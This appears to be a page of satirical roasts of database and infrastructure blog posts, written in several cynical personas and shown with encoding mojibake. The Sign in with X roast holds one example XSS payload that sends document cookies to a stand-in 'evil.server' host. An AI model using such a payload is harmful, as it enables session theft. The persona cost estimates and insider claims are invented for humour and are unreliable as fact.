Where database blog posts get flame-broiled to perfection
Alright, settle down, everyone. Fresh off the press, we have another masterpiece of marketing-driven engineering, titled: âHow We Re-invented Data Loss and Called it a Feature.â
Iâve just read this love letter to MongoDBâs replication, and I have to say, itâs beautiful. It has all the right buzzwords. Weâve got âstrong consistency,â âdurability,â and my personal favorite, a system so transparent that it fails âwithout raising errors to the application.â Oh, fantastic. I love a good mystery. Itâs not a bug, itâs a surprise challenge for the operations team. My pager already feels heavier just reading that sentence.
They talk about Raft like itâs some magic pixie dust you sprinkle on a database to solve all of lifeâs problems. âConsensus is used to elect one replica as primary.â Great. Wonderful. But then they get to the good part, the part that always gets me. The part where they admit their perfect, consistent, durable system is too slow for the real world.
So what do they offer? A little knob you can turn, w:1, which is business-speak for the âYOLO setting.â You get to âprioritize availability and latency over immediate global consistency.â This is the enterprise version of turning off your smoke detectors because the chirping is annoying. What could possibly go wrong?
The demo is my favorite part. Itâs so clean. So sterile.
docker network disconnect lab m1
Ah, if only network partitions were that polite. If only they announced themselves with a tidy shell command. In my world, a partition looks more like a faulty switch in a colo facility starting to drop 30% of packets, but only for VLANs with prime numbers, and only when the ambient temperature exceeds 73 degrees Fahrenheit. But sure, letâs pretend itâs a clean slice.
And then comes the punchline. The absolute gem of the entire article. After your little cluster has a "brief split-brain window"âa phrase that should send a chill down any SRE's spineâwhat happens to the data written to the old primary?
MongoDB stores them as BSON files in a rollback directory so you can inspect them and perform manual conflict resolution if needed.
Let me translate that for you. At 3 AM on the Sunday of a long holiday weekend, after the alarms have been screaming for an hour and the application team is swearing blind that ânothing changed on our end,â my job is to SSH into a production node, navigate to a directory with a GUID for a name, and start running bsondump on some binary files to manually piece together lost customer transactions.
This isnât a feature. This is a digital archaeology expedition with the CEO holding the flashlight. âFully auditable and recoverable,â they say. Sure. Itâs recoverable in the same way a scrambled egg is recoverable if you have a Ph.D. in molecular gastronomy and a time machine.
Theyâre so proud of this. They even say itâs where they âintentionally diverge from vanilla Raft.â You didn't "diverge." You drove the car off the cliff because you thought you could fly. This isnât a âreal-world distributed application pattern.â This is a real-world ticket escalation that ends with my name on it. We're supposed to build an entire conflict resolution and data reconciliation pipeline because their monitoringâoh wait, they didn't mention monitoring, did they? Of course not. Thatâs always a âPhase 2â problem.
I can just see it now. The post-mortem will have a whole section on how we need better alerts for BSON files suddenly appearing in a rollback directory. The action item will be a hastily written Python script that I have to maintain for the rest of my tenure.
You know, I have a drawer full of vendor stickers. Riak, CouchDB, Aerospike. All of them promised me the moon. All of them had a clever little solution for when the laws of physics and distributed computing inconveniently got in their way. This article has a very familiar energy. Iâll make sure to save a spot for the MongoDB sticker. Itâll go right next to the one for the database that promised âeventual consistencyâ and delivered âeventual data loss.â
Anyway, Iâve got to go. I need to figure out how to put a bsondump command into a PagerDuty alert. This is the future, I guess.
Ah, another dispatch from the marketing department, fresh off the buzzword assembly line. It warms my cold, cynical heart to see the old place is still churning out the same high-gloss promises. Having spent a few years in those particular trenches, I feel compelled to offer a... translation.
You see, when they say "AI moves fast," what they mean is, "the VPs saw a competitor's press release and now we have to rewrite the entire roadmap for the third time this quarter." But let's break down this masterpiece of corporate poetry, shall we?
Letâs start with those âstrong foundations.â Thatâs a lovely term. It brings to mind bedrock, concrete, something you can build on. In reality, itâs more like a Jenga tower of legacy code from three different acquisitions, and the new âvector searchâ feature is the final, wobbling block someone just jammed on top. The engineering teamâs Slack channel for that project wasn't called #ProjectBedrock; it was called #brace-for-impact. The only thing âresilientâ about it is the poor engineer on call whoâs learned to reboot the primary node from his phone while ordering a pizza at 2 AM.
I love the classic trio: âsearch, observability, and security.â It sounds so unified, so holistic. Itâs also a complete fabrication. Internally, those are three warring kingdoms that barely speak the same API language. The âsearchâ team deploys a change that silently breaks the âobservabilityâ teamâs logging, and the âsecurityâ team only finds out a month later when their quarterly scan fails with an error message last seen in 2011. They're not a suite; they're three separate products held together by marketing slides and sheer hope.
Ah, the âvector search and retrievalââthe new golden child. This feature was born out of a desperate, six-week hackathon to have something to show at the big conference. They claim it helps you build systems that stay âflexible.â Sure, itâs flexible. Itâs so flexible that the query planner has a favorite new hobby: ignoring all your indexes and deciding a full table scan is the most âretrieval-augmentedâ path forward.
â...helping organizations build systems that stay flexible and resilient.â This is corporate-speak for, "We've given you so many configuration toggles that it's now your fault when it falls over."
The subtext of this whole piece is about managing ârisk and complexity.â That's rich. Iâve seen the JIRA backlog. I know about the P0 tickets labeled 'slight data inconsistency under load' that have been open since the Obama administration. Theyâre not helping you manage complexity; theyâre exporting their own internal chaos directly into your production environment, wrapped in a pretty UI. The biggest "risk" is believing the datasheet.
And so the great database ouroboros eats its own tail once again. A new buzzword emerges, old tech gets a fresh coat of paint, and a new generation of engineers learns the fine art of writing apologetic post-mortems. It's not innovation; it's just the industry's longest-running soap opera.
Sigh. At least the stock options were decent. For a while.
Ah, yes. A formal mathematical framework. Itâs truly heartwarming to see them finally get around to this. Itâs like finding the original blueprints for a skyscraper after the tenants have been complaining for a decade about the load-bearing columns being made of papier-mâchĂŠ. âWeâve done the math, and it turns out, this thing we built might actually stand up! Mostly. On a good day.â
Of course, the whole motivation section is a masterpiece of corporate revisionist history. They call the document database world a âWild Westâ full of âimmense opportunity.â I remember it differently. We called it the âWild Westâ because there were no laws, the sheriff was drunk on VC funding, and you built things by nailing together whatever driftwood washed ashore, hoping it looked vaguely like a saloon. The âopportunityâ was shipping a feature before the competition did, even if it meant queries would occasionally return the wrong documents or, my personal favorite, just a cryptic error message and a shrug.
And this gem right here:
In MongoDB, the query
origin: "UK"matches a document whereoriginis the string "UK". However, it also matches a document whereoriginis the array["UK", "Japan"]. While this loose equality is convenient for developers, it is bad for mathematical logic...
âConvenient for developers.â Thatâs the most beautiful piece of spin Iâve seen since the last roadmap meeting where we were told a six-month delay was actually a strategic timeline recalibration. That wasn't a "convenience," it was a shortcut. It was a half-baked solution cooked up at 2 AM to make some demo work, and it got hard-coded into the core logic because fixing it would have required admitting the initial design was flawed. I can still hear the meeting: âItâs not a bug that violates the basic principles of logic, itâs a developer-friendly feature that enhances flexibility!â Just don't ask what happens when you have an array of arrays. We never got around to defining the behavior for that âedge case.â
Then there's âpath polysemy.â What a wonderfully academic way of saying, âWe never decided what a dot in a key path should actually mean, so good luck!â This wasn't some deep philosophical choice; it was the direct result of a dozen different teams implementing pathing logic over five years without ever talking to each other. The result? A queryâs behavior is entirely dependent on the shape of the data that happens to be in the collection at that exact moment. Itâs not a database; itâs a game of Russian Roulette with your applicationâs runtime.
And now, to solve all this, theyâve proposed MQuery. Or as the article so helpfully points out, McQuery. Itâs a fitting name. Itâs fast, itâs cheap, it looks like food, but five years from now weâre all going to be dealing with the health consequences. They proudly declare that after years of rigorous academic work, theyâve proven that their aggregation framework is âat least as expressive as full relational algebra.â
Let me get this straight. After more than a decade of telling everyone that relational algebra was old-fashioned and that joins were the devil, youâve finally published a paper that triumphantly declares youâve⌠reinvented the join. Congratulations. You've spent a billion dollars in R&D to prove your shiny new rocket ship can do what Codd's Ford Model T was doing in 1970. What an achievement.
The payoff, they claim, is algebraic optimization. Theyâve discovered you can reorder pipeline stages to make queries faster!
$match earlier to filter data? Groundbreaking. Relational databases have only been doing filter pushdown since, oh, the Nixon administration.$unwind later to save memory? Astounding. Itâs almost like you shouldnât generate a billion intermediate documents if you donât have to. Who knew?This paper isnât a theoretical breakthrough. Itâs an apology letter written in LaTeX. Itâs a retroactive attempt to bolt a coherent design onto a product that grew like a fungus in a dark, damp server room. Theyâre not building a foundation; theyâre frantically trying to pour concrete under a house thatâs already tilting.
I can just see the next all-hands meeting now. The VPs will be on stage, beaming, presenting this paper as proof of their commitment to engineering excellence. What they wonât mention is that this entire exercise was only necessary because the original design philosophy was âwhatever works by Friday.â
Canât wait for the 2030 paper that provides a formal mathematical model for why our clustered index still randomly drops writes under load. Truly revolutionary.
Well, look what the content marketing calendar dragged in. An engineering blog post. Itâs always a treat to get a peek behind the curtain, especially when itâs about a rebuild. You know, the kind of project that only happens when the original buildâthe one I seem to recall being described as 'hyper-scalable' and 'next-generation' at the all-hands where they handed out the branded fleece vestsâturns out to be more of a technical debt-fueled tire fire.
It's genuinely heartening to see the team publicly grapple with such... foundational SQL challenges. Reading about their journey of discovery is just inspiring. They hit problems like:
Itâs the kind of hard-won knowledge you can only gain after ignoring the senior engineers who pointed out these exact issues in the initial design review. But hey, shipping is what matters.
And the solution, of course, is ClickHouse patterns. It's a bold move. Itâs amazing what you can achieve when you read the documentation for a popular open-source project and then write a blog post about it as if youâve discovered cold fusion. The "patterns" theyâve landed on are truly groundbreaking. I'm sure the folks who wrote ClickHouse will be fascinated to learn how their database is being used.
But this, this is my favorite part:
how we use it to debug our own alerts.
This is presented like a triumphant case study in dogfooding. What it really says is, âOur alerting system, built on our platform, is so noisy and unreliable that we had to build a second, faster system just to figure out why the first one is constantly screaming into the void.â Itâs a beautiful, self-sustaining ecosystem of problems. A feature, not a bug. You don't just sell a monitoring platform; you sell a monitoring platform to monitor the monitoring platform. It's synergy.
But honestly, itâs a step in the right direction. It takes real courage to write a 2,000-word post explaining how you fixed the problems you created last year to meet a roadmap deadline that was set by the marketing department.
Keep shipping, champs. Iâm sure the V3 rewrite, hypothetically scheduled for Q4 next year, will be even more insightful.
Oh, cute. Another blog post heralding a 'paradigm shift' with all the wide-eyed optimism of someone who has never had to explain a data breach to a board of directors. You see "future-proof," I see a future full of incident reports. Let's just walk through this marketing pamphlet, shall we?
You celebrate "vendor agnosticism," but all I hear is a self-inflicted supply chain nightmare. So, instead of trusting one vendor's hopefully competent security team, you're now trusting the ad-hoc security practices of the open-source OTel collector, plus every single backend you plug into it, plus the transport layer connecting them all. You haven't eliminated a single point of failure; you've created a distributed monolith of security debt. Good luck explaining that chain of custody during your next SOC 2 audit.
Then there's the magical claim of "easier instrumentation." Is that what we're calling it now? Willfully injecting a sprawling, multi-repository dependency maintained by a thousand different people directly into your application's runtime? Itâs like a voluntary Log4Shell. You're one misconfigured exporter or a single vulnerable processor away from a trivial remote code execution vector. âBut itâs just telemetry!â youâll cry, right before an attacker uses it to pivot and dump your production database.
My personal favorite is "improved context." A lovely euphemism for "consolidating all our sensitive data into a single, high-value stream for attackers." You're not just collecting performance metrics; you're creating a beautifully correlated, easily parsable firehose of user IDs, IP addresses, request payloads, and other PII goodies. This isn't observability; it's a GDPR-breach-as-a-service waiting to happen. The first time a junior dev accidentally logs a session token in a trace attribute, it's game over.
Youâre not just moving toward open standards; youâre moving toward an open invitation for every script kiddie with the OTel spec documentation.
The very concept of "open standards" being a security benefit is laughable. An open, well-documented standard for your internal data pipelines is not a feature; it's a publicly available blueprint for exfiltration. Youâve handed attackers the architectural diagrams and told them precisely which ports to listen on. Every component, from the SDK to the collector, is another potential CVE waiting to be discovered and weaponized at scale.
And finally, the assertion that any of this "future-proofs" your stack is, and I say this with all the gravity it deserves, utterly delusional. The only thing you're future-proofing is your spot on the evening news. The future doesn't contain fewer threats; it contains more creative and currently unimaginable zero-days that will specifically target these wonderfully standardized, ubiquitous systems you're so eager to adopt. Claiming you're "future-proof" is just painting a giant bullseye on your CISO's back.
Anyway, this was a fun exercise in threat modeling someone else's marketing copy. I will now be blocking this domain in my firewall to prevent future exposure.
Cheers
Alright, let's pull up a chair. I've just finished my third cup of lukewarm coffee from the breakroom, and my disposition is, shall we say, optimized for fiscal scrutiny. And what do I find in my inbox? An article titled "Normal Forms and MongoDB." Oh, splendid. A philosophical treatise on how to reinvent the wheel, but this time, make it square and charge us for the patent.
The core thesis seems to be that normal forms aren't just for crusty old relational databases, and that MongoDB's "flexibility" lets you apply them thoughtfully. Let me translate that from marketing-speak into CFO-speak: "We've shifted the multi-million-dollar responsibility of data integrity from our product directly onto your payroll."
It all starts so innocently, doesn't it? A little pizzeria, an MVP. âYou can choose any database for this⌠even a spreadsheet.â See, thatâs the hook. They get you comfortable. They whisper sweet nothings about starting small. Itâs the enterprise software equivalent of a free popcorn machine at a car dealership. Youâre not here for the popcorn, son, and that "simple" key-value store is the undercoating package you never wanted.
Then, the "business evolves." Of course it does. And with it, our simple JSON object begins to look like a Christmas tree after a tinsel-and-update-anomaly explosion. Suddenly weâre hand-wringing about 1NF and arrays. But donât worry! MongoDB is here to help, letting us use arrays instead of comma-separated strings. Groundbreaking. My TI-83 calculator from college could do that. The key phrase here is that MongoDB keeps data "colocated for more predictable performance." Predictably slow, that is, once we have to scan a million 50MB documents to find out which pizzeria sells a gluten-free calzone.
But this is where the real fun begins. We get to 2NF and the pricing problem. If prices are standardized, we have a "partial dependency." The relational world solves this with a simple table and a join. But no, thatâs for dinosaurs. In our brave new world, we have two enlightened options:
Let's do some quick math on that, shall we?
The application is responsible for maintaining consistency.
That one sentence is the most expensive piece of prose I've ever read. Let's call it the "Application Responsibility Tax." I see:
arrayFilters are wrong. Let's budget a week for that, so... $18,000.So, this "flexibility" of violating 2NF has cost us $79,000 and a migraine before we've even gotten to toppings. And the author dares to suggest this is acceptable because "price changes are infrequent." A statement clearly written by someone who has never met our marketing department.
And it just gets better! We waltz through 3NF, where we solve a "transitive dependency" by... nesting a JSON object. Brilliant. Then 4NF, where we learn that having two independent arrays is better than a Cartesian product of redundant data. I am truly stunned by this revelation.
But BCNF is where the mask fully slips. We have an "area" that determines an "areaManager." A clear violation. The relational solution? A separate table. Clean. Simple. The MongoDB solution? "Handle updates explicitly." They even provide the updateMany script, as if to say, âSee? Itâs just one little command!â They conveniently forget to mention that this command will lock collections, run for an hour on a large dataset, and has to be manually triggered by a developer who we now have to pay to be a human join-engine.
By the time we reach 5NF and 6NF, weâre storing price history and decomposing everything into independent arrays and separate collections. We've spent this entire article twisting a document database into a poor man's relational model. We're using $lookup, application-level transactions, and manual update scripts to avoid the one thing that was designed to solve these problems from the start.
This isnât a database; itâs a kit car. It looks flashy, but it arrives in 500 pieces, the instructions are in a language you donât quite understand, and youâre left to assemble it on your weekends with duct tape and hope.
The conclusion is the cherry on top of this fiscal disaster sundae. They talk about Domain-Driven Design, CQRS, and microservices. These aren't architectural patterns; they're incantations used to justify astronomical development budgets. "The database is not a shared integration point but a private persistence detail." Wonderful. So now instead of one database to manage, we have 50 "persistence details," each with its own bespoke integrity model written by a different team. That's not a feature; that's a long-term liability that I'll be amortizing over the next decade.
Let's calculate the "True Cost of Ownership" for this pizzeria empire. The sticker price for the database is, say, $250k a year. But the real price is:
Total cost for this "flexibility": A $3.25 million bonfire. And for what? So our developers can feel like they're working in a modern architecture? Iâd get a better ROI by buying actual pizzerias.
So thank you for this enlightening post. It has helped me normalize my vendor list right into the recycling bin. Rest assured, I will not be reading this blog again. I have a P&L to protect.
Alright, settle down, kids. Let me put on my reading glasses... ah, yes. Well, isn't this just a delightful little piece of modern art? I have to hand it to you, reading this was a real trip down memory lane. It's truly inspiring to see you've all managed to solve a problem we hammered out on a System/370 back when "the cloud" was just something that caused rain.
I must commend your atomic, document-level operations. Truly a breakthrough. It's so... elegant. You take a business rule, translate it into what looks like a tax form designed by a committee, and embed it directly into the update statement. It reminds me of my first encounter with JCL in '83. You'd spend a week crafting the perfect job card, feed the deck into the reader, and pray to the silicon gods that you didn't misplace a single comma, lest you spend the next day sifting through a mountain of core dump printouts. Your $expr block gives me that same warm, fuzzy feeling of imminent, catastrophic failure. It's just so much simpler than, you know, a transaction.
And this whole function, goOffCall... bravo. Absolutely stunning. You've managed to write a query that checks a condition and performs a write in a single, unreadable blob. We used to do something similar in DB2, circa 1985. We called it a WHERE clause with a subquery. Didn't have all your fancy dollar signs and brackets, of course. We had to use plain English words like EXISTS and COUNT. It was terribly primitive, I know. You've clearly improved upon it by making it look like my cat walked across the keyboard.
Since MongoDB lacks explicit locking and a serializable isolation level, we can instead use a simple update...
Simple. You keep using that word. I do not think it means what you think it means. Back in my day, we had to manage our own locks because the system was too busy swapping punch cards. You kids have it so easy you've decided to pretend locking doesn't exist and call it "optimistic concurrency." We called that "two people overwriting each other's work and then blaming the night shift." Your "First Updater Wins" rule is adorable. It's like a participation trophy for race conditions.
I'm especially fond of this "document model" approach. You've put the list of doctors inside the shift document. It's a revolutionary concept known as "denormalization." We tried that in the late '70s with IMS databases. It was all fun and games until you needed to run a report on which doctors worked the most shifts across the whole year. The COBOL program to unwind that hierarchical mess took three days to write and an hour to run. We invented normalization for a reason, you know. But I'm sure your flexible indexing on fields inside embedded arrays completely solves that. Completely.
And the schema validation! My sides are splitting. Let me get this straight:
So, the database does all the work of finding the document, puts a pin in it, and only then decides the update is invalid. That's not a safeguard; that's a performance review meeting where you get fired after you've already completed the project. We used to have things called CHECK constraints. They were checked before the work was done. What a novel idea.
Honestly, this is all very impressive. You've built an entire ecosystem to avoid writing a simple BEGIN TRANSACTION; SELECT ... FOR UPDATE; UPDATE ...; COMMIT;. You've traded battle-tested, forty-year-old principles of data integrity for a query that requires a cryptographer to debug. You're running a "fuzz test" in a while(true) loop to prove your data integrity holds, which is the modern equivalent of me kicking the tape library to see if any of the cartridges fall out. They usually did.
But don't mind me. I'm just an old relic. You kids keep innovating. Keep embedding your business logic deep in the data layer where no one can find it. It's bold. It's exciting. And in about five years, you'll be writing another blog post about the revolutionary new "relational model" you've discovered to fix it all.
Keep at it, champ. You're doing great. Now if you'll excuse me, I have to go rewind some tapes.
Alright, let's pull up a chair. I've got my coffee, which is just lukewarm despair, and I've just read this... this announcement.
Oh, wonderful. "You can now add 'Sign in with X' to your application." You say that with the same cheerful tone as someone announcing free cake in the breakroom, completely oblivious to the fact that it's laced with ipecac. You haven't added a feature; you've installed a revolving door directly into your server room and handed the key to a toddler with a penchant for chaos.
You're hitching your critical user authentication, the very foundation of your application's security, to a platform that's currently undergoing a public identity crisis. Yes, let's build our house on the geological fault line that is the former Twitter API. What's the uptime on that thing these days? Is it measured in hours or in Elon's whims? You've just introduced a single point of failure that has all the stability of a Jenga tower in an earthquake.
But let's talk about the implementation. OAuth 2.0. You say it like it's a magic incantation that wards off evil. It's a spec, not a shield. A spec that, if you get one tiny detail wrong, becomes a welcome mat for attackers. I can already smell the CVEs baking.
You can now add "Sign in with X" to your application...
Let me translate that for you: You can now inherit the security posture, data quality, and existential volatility of an entirely separate company you have no control over.
I'm picturing the SOC 2 audit right now. It's going to be a bloodbath. "So, Mr. Developer, can you walk me through your user identity verification process?" "Well, we delegate that to X." "And what's your process for ensuring the integrity of accounts on X?" "...We trust them?" "So you've performed a vendor risk assessment on them, reviewed their internal controls, their BCP/DR plans?" The sound of crickets and a CISO quietly updating their LinkedIn profile.
You're not just getting an authentication token. You're creating a data dependency. What happens when the data coming from the X API is... let's be charitable and say, unpredictable?
"<script>fetch('https://evil.server/steal_cookie?c=' + document.cookie)</script>". Looks like a valid username to me!This isn't a "provider in Supabase Auth." It's a supply chain risk. You've just made every single application that uses this feature a downstream victim of whatever security incident happens over at X headquarters this week. And there's always something happening this week.
So go on, celebrate this new "feature." Put it in your release notes and talk about developer velocity and frictionless user onboarding. I'll just be here, drafting the incident response plan you'll inevitably need. I'll even pre-write the "we take your security very seriously" blog post for you.
But hey, don't mind me. I'm sure it will be fine. Itâs just your entire user database, your companyâs reputation, and your compliance posture on the line. What's the worst that could happen?
Alright, let's see what the "thought leaders" are peddling this week. âHow does your computer create the illusion of running dozens of applications simultaneouslyâŚ?â
Oh, thatâs a fantastic question. Itâs almost identical to the one I ask every time a database vendor pitches me: âHow do you create the illusion of a cost-effective solution when itâs architected to bankrupt a small nation?â The answer, it seems, is the same: a clever bit of misdirection and a whole lot of taking away control.
They call it âLimited Direct Execution.â I call it the enterprise software business model. They love the âDirect Executionâ partâthatâs the demo. âLook how fast it runs! Itâs running natively on your CPU! Pure performance!â They glide right over the âLimitedâ part, which is, of course, where the entire business strategy lives. Thatâs the fine print in the 80-page EULA that says we, the customer, are stuck in âUser Mode.â We canât perform any âprivileged actionsâ like, say, exporting our own data without their proprietary connector, or scaling without their approval, or, God forbid, performing our own I/O without triggering a billing event.
The vendor, naturally, operates exclusively in âKernel Mode,â with full, unfettered access to the machineâand by machine, I mean our corporate credit card. And how do we ask for permission to do anything useful? We initiate a âSystem Call.â I love that. It sounds so official. For us, a âSystem Callâ is a support ticket that takes three days to get a response, which then âtriggers a âtrapâ instruction that jumps into the kernel.â That âtrap,â of course, is a professional services engagement that costs $450 an hour and gives them the âraised privilege levelâ to fix the problem they designed into the system. Itâs a beautiful, self-sustaining ecosystem of pain.
And what happens if our team gets stuck in an âinfinite loopâ trying to make this thing work? The old âCooperative Approachâ is deadâno vendor trusts you to yield control. Instead, they use a âTimer Interrupt.â For us, thatâs the quarterly license audit that âforcefully halts the processâ and demands we justify every core weâve allocated. Itâs their way of âregaining controlâ and ensuring we haven't accidentally found a way to be efficient.
But my favorite part, the real masterpiece of financial extraction, is the âcontext switch.â This is what they sell you as âmigrationâ or âupgrading.â They describe it as a âlow-level assembly routine.â Translation: you will need to hire their three most expensive consultants, who are the only people on Earth who understand it. Letâs do some quick, back-of-the-napkin math on the âtrue costâ of one of these âcontext switchesâ they gloss over so elegantly:
By switching the stack pointer, the OS tricks the hardware: the 'return-from-trap' instruction returns into the new process instead of the old one.
Tricks the hardware? Adorable. Theyâre tricking the CFO. Let's calculate the "True Cost of Ownership" for this little magic trick:
So, their simple, one-paragraph âcontext switchâ will only cost us $3,210,000. And they sell this with a straight face, promising a 20% improvement in âturnaround time,â their pet metric for ROI. A 20% gain on a million-dollar process is $200k. So weâre just over three million in the hole. Fantastic.
Then they hit us with the pricing models, disguised here as âscheduling policies.â FIFO is their standard support queue. SJF, or âShortest Job First,â is their premium support tier, where you pay extra to have your emergency ticket answered before someone elseâs. And STCF is the hyper-premium, platinum-plus package where they preempt their other cash cows to help you, for a fee that could fund a moon mission.
But the real killer is Round Robin. This is the cloud consumption model. They give you a tiny âtime-sliceâ and then switch to another task, so the system feels responsive. Meanwhile, they are billing you for every single switch, every nanosecond of compute, and every byte transferred. The article says this model âdestroys turnaround time.â You donât say. My projects now take twelve months instead of three, but my monthly bill is wonderfully granular and arrives every hour. As they so cheerfully put it, âYou cannot have your cake and eat it too.â Translation: You can have a responsive system or you can have a solvent company. Pick one.
The final, glorious confession is this: the OS does not actually know how long a job will run. They call this the "No Oracle" problem. This is the single most honest sentence in the entire piece. They have no idea what our workload is. They are guessing. Their solution? A âMulti-Level Feedback Queueâ that âpredicts the future by observing the past.â Iâve seen this one before. Itâs called âannual price optimization,â where they look at which features you used last year and triple the price.
So, to conclude, this has been a wonderful look into the vendor playbook. Itâs a masterclass in feigning simplicity while engineering financial complexity. The best policy, as they say, depends on the workload. And my workload is to protect this companyâs money.
Thank you for the article. I will now go ensure it is blocked on the company firewall so none of my engineers get any bright ideas.
Alright, settled in with my Sanka and the reading glasses I found clipped to my terminal. Let's see what the whippersnappers are bragging about today. Oh, an article from a young fella at Elastic. This should be good.
Well, I have to hand it to you, Matt. This is a truly fascinating piece of writing. Itâs always a treat to see the next generation discover problems we were solving while you were still trying to figure out how Legos work. The sheer enthusiasm you have for "shaping how external data flows into Elasticsearch" is just... charming. Itâs like watching a toddler discover his own feet. Look at that! They're at the end of my legs! I can wiggle them!
shaping how external data flows into Elasticsearch
Back in my day, we didn't have data that "flowed." That sounds like a plumbing problem. Data was delivered, with purpose and discipline, on a 9-track tape that weighed about five pounds. You didn't "shape" it on the fly. You wrote a 500-line COBOL program with a DATA DIVISION so meticulously structured it could serve as a legal document. You fed a deck of punch cards into a reader, submitted the JCL, and came back the next morning to see if the batch job had failed because of a misplaced comma. We called it "data processing," not "data yoga."
It's the ingenuity that really gets me. This idea of taking messy, unstructured data and making it searchable... it's a monumental achievement of modern computing. It's almost as impressive as the B-tree indexes we were using in VSAM files on the mainframe in 1983. You kids have your JSON documents, with their flexible, free-wheeling schemas. We had COPYBOOKs. You misalign one field by a single byte in a COPYBOOK, and the whole payroll run for a Fortune 500 company would spew garbage. It taught you a certain... respect for data integrity. A respect that seems to have been replaced with a philosophy of âeh, just throw it in the JSON lake and weâll figure it out later.â
You talk about making this data usable in Elasticsearch. I tell you, this whole thing sounds suspiciously like what we were doing with DB2 and IMS back when a "user interface" was a 3270 green-screen terminal that made a delightful thwack sound with every keystroke. We had:
You've just wrapped it all up in a shiny new box, given it a name that sounds like a pair of sweatpants, and now youâre selling it as a revolution. It's like you reinvented the wheel and are now marketing it as a "synergistic, circular transport solution."
I'll admit, your solution is probably faster than swapping tape reels for a three-hour backup process, a process that wasn't complete until you drove the tapes to an off-site storage facility that was probably a decommissioned salt mine in Pennsylvania. But at least when our database went down, we had a physical object to blame. You canât get cathartically angry at a distributed cluster that's having a "split-brain" problem. I could, however, get very angry at a tape drive that decided to eat my master customer file for breakfast. Much more satisfying.
So, bravo, Matt. Keep on "shaping" that "flow." Itâs heartening to see you all tackling these brand-new, 40-year-old problems with such vigor. Iâm sure in another ten years, youâll discover the magic of referential integrity and call it "Relational Document Linking," patent it, and make a billion dollars.
Now if you'll excuse me, I think there's a VAX in a museum somewhere that needs rebooting, and I'm the only one left who remembers how.